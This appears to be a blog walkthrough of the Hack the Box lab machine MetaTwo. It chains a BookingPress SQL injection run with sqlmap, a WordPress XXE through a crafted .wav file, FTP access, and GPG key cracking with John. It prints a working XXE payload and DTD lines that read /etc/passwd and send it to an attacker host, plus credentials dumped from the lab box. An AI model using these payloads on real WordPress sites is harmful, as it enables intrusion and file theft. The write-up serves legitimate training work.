top of page
  • BlueDolphin

Hack the Box - MetaTwo

Engagement Flow


This was an amazing lab with a narrow attack surface requiring many steps. The initial portion of the user phase was more demanding than the latter half of the box. In this phase, we had to enumerate and exploit WordPress twice, once for credentials to the application, which were extracted via a CVE SQLi vulnerability. The second WordPress attack, involved an authenticated SSTI attack which provided credentials leading to authentication with the FTP service where we found user credentials.

The root phase was much more straight forward in that we found a Python password manager known as passpie on the system, in our landing directory (hidden). With this in mind, we learned how the application works, and we focused on the encryption key.

With the key in hand, we converted it to a recognized format by the password cracking tool "John". With this newly formatted key we were able to crack the key for our root user password to complete the machine.

Tools used

  • Burpsuite

  • SQLMap

  • Linpease

  • PHP server (php -S)

  • John the ripper

  • WordPress plugin enumeration

  • SQL injection

  • Request proxying

  • Password cracking

  • Server side template injection


We have a narrow attack surface with only 3 ports open. We can safely assume that port 22 is for connecting back to the machine upon obtaining user credentials. As it is par for the course with Hack the Box engagements.

Port 21 and 80 will require enumeration and some type of exploitation of either a vulnerability or a misconfiguration.

Image - Nmap Results

Performing a more indepth scan with -sC -sV reveals that a subdomain is resolving to metapress.htb. This domain is added to our hosts file.

Image - Nmap Results

Web Enumeration

What Web

Enumerating the website with WhatWeb provides useful information. We learn that our target is using HTML5, WordPress 5.6.2 and is hosted by nginx.

200 OK] 
HTML5, HTTPServer[nginx/1.18.0], I
MetaGenerator[WordPress 5.6.2], 
PoweredBy[--], Script, 
Title[MetaPress – Official company site], UncommonHeaders[link], WordPress[5.6.2], X-Powered-By[PHP/8.0.24], nginx[1.18.0]


Wpscan provided some basic information that did not further assist our efforts.

[+] robots.txt found: http://metapress.htb/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.

WPSCAN plugin detection

This ended up going nowhere and I stopped running after no results for a prolonged period of time.

Image - WPSCAN providing no results

Directory change

Browsing to our web page we are presented with a welcome message and the disclosure of a /events/ directory on the website, where we can signup to launch some type of event.

Image - Metapress.htb landing page

Viewing the metapress.htb/events page shows we have an interactive portal for event registration.

Image - metapress.htb/events

Viewing the source code

Viewing the source code revealed the name of a form "booking press". When researching this term we learn it is actually a WordPress plugin.

Image - Source code on /events/ page

Word press enumeration

A quick google shows us we are indeed using a wordpress plugin. Despite wpscan finding nothing.

Image - Wordpress plugin - BookingPress

Further source code reveals the plugin version. Booking press 1.0.10

Image - Booking Press Version


Researching the wpscan repositor reveals a specific vulnerability.

Image - BookingPress CVE

In this case, we follow the instructions are we are able to acquire the wp nonce from the source without following the initial steps. Taking this nonce and placing it into the SQL payload below actually works and provides us with output from the target server.

Image - CVE Payload attempt

At this stage is important to gain the ability to modify this payload, and pivot into SQL Injection automation with SQLmap. A little research showed this is quite achievable with curl by using the -x flag followed by an ip address. This appeared on the "linux die" reference site.

Image - Curl flags

Giving it a shot actually works.

Image - Curl proxy to Burpsuite

From here, we strip down the payload in burpsuite, remove the existing injection and clear the variable of our injectable parameter. This request is then copied to a file offline to use with SQLMap. Note - That if you attempt to save the file, you will receive a xml file and not the .req file which is needed. Make sure to right click > copy.

Image - Modified payload

WP CVE chaining with SQLMAP

Running sqlmap on our request file shows that the parameter is of course injectable.

Image - SQLMap

Running SQLmap and specifying the database management system as MYSQL outputs our tables. We can see that two databases exist, "blog" and "information_schema". We will target the blog section.

Image - SQLMap table dump

With knowledge of working databases, the next step is to output the tables within the blog database.

sqlmap -r request.txt -p total_service -D blog --tables 

Image - SQLMap table dump

Expanding our SQLMap command to include the specific tables and a request to dump this information provides several sets of credentials.

sqlmap -r request.txt -p total_service -D blog -T wp_users --dump

Image - Credentials from SQLI testing

Using John we can quickly extract the password at hand for the manager user.

Image - Password cracking with John.

Wordpress login & CVE for initial foothold

From here we are able to successfully login to the word press website as the manager user.

Image - Wordpress login

Viewing the source code of the page reveals the version of wordpress running.

Image - Wordpress version

Knowing this we can look on wp scan where we find a version matching vulnerability.

Image - Wordpress CVE

I had to research around for several sources on how to get this to work. I had several problems where the website was blocking my .wav file due to alleged security reasons. I had initially been trying the exploit from exploit db with no luck. I found it here.

When I switched to the instructions from Try Hack Me, I had allot of success. Which can be found here.

I noticed some small differences in the payload to do with quotations but nothing more.

payload.wav file

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"''"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

For the dtd file we use the following.

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://<ip>:8001/?p=%file;'>" >

upon generating our files we have to spin up a server. The instructions asked us to use a php server but I stuck with a p3 http server using the following commands.

python3 -m http.server

From here I ran into issues and the output I received in base 64 encoded characters was not working. I had to remove the portion of the .dtd file that was using zlib.deflate on our command.

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://<ip>:8000/?p=%file;'>" >

The .dtd file then looked like this.

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://<ip>:8000/?p=%file;'>" >

We spun up a PHP server to try it out.

Image - PHP listening server

This provided our desired result with the /etc/passwd file Base 64 encoded characters.

Image - /etc/passwd dumped in Base64

Taking this input over to Cyberchef provided our desired standard output.

Image - Cyberchef

Data exfiltration

With the ability exfiltrate data from our targetted system, we can proceed to target high value configuration files such as the wp-config.php which was found at metapress.htb/blog/wp-config.php. In here we find credentials that we can use to connect back to the host!

/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

 * Authentication Unique Keys and Salts.
 * @since 2.6.0
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

 * WordPress Database Table prefix.
$table_prefix = 'wp_';

 * For developers: WordPress debugging mode.
 * @link
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

FTP Connection & Credential extraction

Connecting to our FTP server with those newly obtained credentials grants us access.

Image - FTP connection

We find a send_mail.php file which we download with mget. This is where we find our user credentials.

 * This script will be used to send an email to all our users when ready for launch

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";



$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
    echo "Message has been sent successfully";
} catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;

We can login and capture the users flag.

Image - User flag


We run linpeas which did not help. I ended up going down several rabbit holes that went nowhere.

Image - Linpeas

CVE's to check

Image - CVE's to check via LinPeas.

Linux Exploit Suggester

Image - Linux exploit suggester

Going back to the basics! We find there is a hidden directory .passpie with several files including .pass and .key files.


`Passpie <>`__ helps you manage

login credentials from the terminal with a colorful andconfigurable

interface. Password files are saved into yaml text files with passwords

encrypted using

`GnuPG <>`__. Use your

master passphrase to decrypt login credentials, copy passwords to

clipboard syncronize them to a git repository and more...

We find several files in the folders within. We only need to focus on the private key within the .keys folder.

Image - Passpie

We noticed there is a root.pass file

Image - Passpie

We download the private key and have to convert this into a format that is useable by our binary of choice, John. We know our key is a PGP format from the header.

Image - Private key

In this instance we need to convert the key file to a format readable by john with gpg2johnn.

gpg2john key > output

Image - gpg2john

We retrieve our file and can proceed to crack the password with john.

Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::key

Running John cracks the password for us.

Image - John password cracking.

Extracting the root password with our key is the final step to root.

Image - Passpit password extracting

11 views0 comments

Recent Posts

See All


bottom of page